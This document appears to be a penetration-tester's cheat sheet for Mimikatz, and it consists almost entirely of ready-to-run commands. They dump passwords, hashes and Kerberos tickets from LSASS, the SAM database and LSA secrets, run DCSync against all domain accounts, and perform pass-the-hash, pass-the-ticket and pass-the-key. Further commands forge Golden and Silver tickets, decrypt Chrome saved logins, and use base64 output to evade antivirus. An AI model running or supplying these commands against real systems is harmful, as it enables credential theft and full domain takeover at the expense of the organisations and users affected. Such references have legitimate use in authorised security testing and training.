Mimikatz

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Mimikatz is a post-exploitation tool that can extract plaintext passwords, hashes, PINs, and Kerberos tickets from memory. It can also perform pass-the-hash, pass-the-ticket, and build Golden Tickets.

TL;DR Credential Dumping Checklist

privilege::debug
token::elevate
sekurlsa::logonpasswords
sekurlsa::wdigest
sekurlsa::ekeys
lsadump::sam
lsadump::secrets
lsadump::cache
lsadump::lsa /patch

Important Notes

  • Debug Privilege: Most Mimikatz operations require privilege::debug to access LSASS memory
  • Administrator Required: Mimikatz typically needs administrator privileges to function
  • LSASS Access: Many operations read from LSASS memory, which is protected by Windows
  • Detection: Mimikatz is heavily flagged by security products and EDR solutions
  • Pass the Hash: When using sekurlsa::pth, a new window will open - run commands in that new window
  • Golden Tickets: Golden Tickets are valid until the KRBTGT account password is changed (typically 180 days by default)
  • Ticket Files: Exported Kerberos tickets use .kirbi format
  • Domain Syntax: Use “.” for domain when targeting local machine accounts

Basic Usage & Privilege Escalation

# Launch Mimikatz (via SMB share)
\\tsclient\share\mimikatz.exe

# Enable debug privilege (required for most operations)
privilege::debug

# Elevate token to SYSTEM
token::elevate

# Write to console in bae64 (avoid AV flagging)
base64 /out:true

# Write output to a logfile (flagged by AV!)
log <LOGFILE>.txt

Credential Dumping

LSASS Memory (sekurlsa)

Dump All Credentials:

# VERBOSE: Dumps credentials from all providers (Kerberos, WDigest, MSV, etc.)
sekurlsa::logonpasswords

Dump WDigest Plaintext Credentials:

# Plaintext creds if WDigest is enabled (older systems or manually enabled)
sekurlsa::wdigest

Dump Specific Hash Types:

# Dumps only LM/NTLM hashes
sekurlsa::msv

Export Kerberos Tickets:

# Avoid AV flagging
base64 /out:true

# Export Kerberos Tickets (TGT/TGS) to disk
sekurlsa::tickets /export
# $ : machine tickets (computers)
# @ : service tickets (users)

Extract AES Keys:

# Extract AES Keys for Pass the Key attacks
sekurlsa::ekeys

SAM Database

# Dumps local SAM database (local user hashes)
lsadump::sam

LSA Secrets

# Patches LSASS to dump LSA policy data/hashes
lsadump::lsa /patch
# Dumps LSA secrets from registry (autologon, service account passwords, etc.)
lsadump::secrets
# Dumps cached domain logon hashes (DCC2)
lsadump::cache

Dump Specific Account:

# Dump specific account (e.g., KRBTGT for Golden Ticket)
lsadump::lsa /inject /name:krbtgt

DCSync

Might require runas.

# Specific user
lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\<USER>

# For KRBTGT
lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\krbtgt

# All users
# WARNING: takes a long time... write output to a file!
log dc_sync.txt
lsadump::dcsync /domain:<DOMAIN> /all

Pass the Hash (PtH)

Pass the Hash allows you to authenticate using an NTLM hash instead of a plaintext password.

# Use "." for domain if targeting local machine
# IMPORTANT: Run commands inside the NEW window that pops up
sekurlsa::pth /user:<USER> /ntlm:<PASS_HASH> /domain:<DOMAIN> /run:cmd.exe

Alternative Syntax:

sekurlsa::pth /domain:<DOMAIN> /user:<USER> /ntlm:<HASH> /run:cmd.exe

Pass the Key (PtK) / OverPass the Hash (OtH)

Concept: Request a Kerberos Ticket (TGT) using an NTLM hash or AES Key, rather than using the NTLM protocol directly.

Extract AES Keys First:

sekurlsa::ekeys

Pass the Key with AES:

# Spawns a process. Windows will implicitly request TGT using the injected key/hash when network resources are accessed.
# Can use /ntlm, /aes128, or /aes256
sekurlsa::pth /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY> /run:cmd.exe

Pass the Ticket (PtT)

Pass the Ticket allows you to use stolen Kerberos tickets to authenticate as another user.

Export Tickets:

# Export tickets from memory to .kirbi files
sekurlsa::tickets /export

Inject Ticket:

# Inject ticket into current session
kerberos::ptt <TICKET_FILE.kirbi>
misc::cmd
exit

Golden & Silver Ticket Attack

A Golden Ticket is a forged Kerberos TGT that allows you to impersonate any user in the domain, including domain administrators.

A Silver Ticket is a forged Kerberos TGS that allows you to impersonate any user on a single machine.

Step 1: Get KRBTGT Hash & SID

Method A (On DC):

lsadump::lsa /inject /name:krbtgt

Method B (Remote DCSync):

lsadump::dcsync /domain:<DOMAIN> /user:krbtgt

Step 2: Create & Inject Ticket

  • /ptt - This flag tells Mimikatz to inject the ticket directly into the session, meaning it is ready to be used.
  • /endin - The ticket lifetime. By default, Mimikatz generates a ticket that is valid for 10 years. The default Kerberos policy of AD is 10 hours (600 minutes)
  • /renewmax - The maximum ticket lifetime with renewal. By default, Mimikatz generates a ticket that is valid for 10 years. The default Kerberos policy of AD is 7 days (10080 minutes)
  • /user: can use any value including non-existent users
# GOLDEN TICKET
kerberos::golden /ptt /id:500 /user:Administrator /domain:<DOMAIN> /sid:<SID> /krbtgt:<NTLM>

# SILVER TICKET
kerberos::golden /ptt /id:500 /user:Administrator /domain:<DOMAIN> /sid:<SID> /service:cifs /target:<MACHINE_FQDN> /rc4:<MACHINE_HASH>

Step 3: Launch Shell

# OPTIONAL: Launch shell or exit and use the current shell since /ptt was used
misc::cmd  # this only works via RDP
exit

# Verify ticket is working by reading DC share
dir \\<DC_FQDN>\c$\

Credential Manager

Dump credentials stored in Windows Credential Manager:

sekurlsa::credman

DPAPI (Data Protection API)

Decrypt data protected by Windows DPAPI, such as browser credentials:

dpapi::chrome /in:"C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect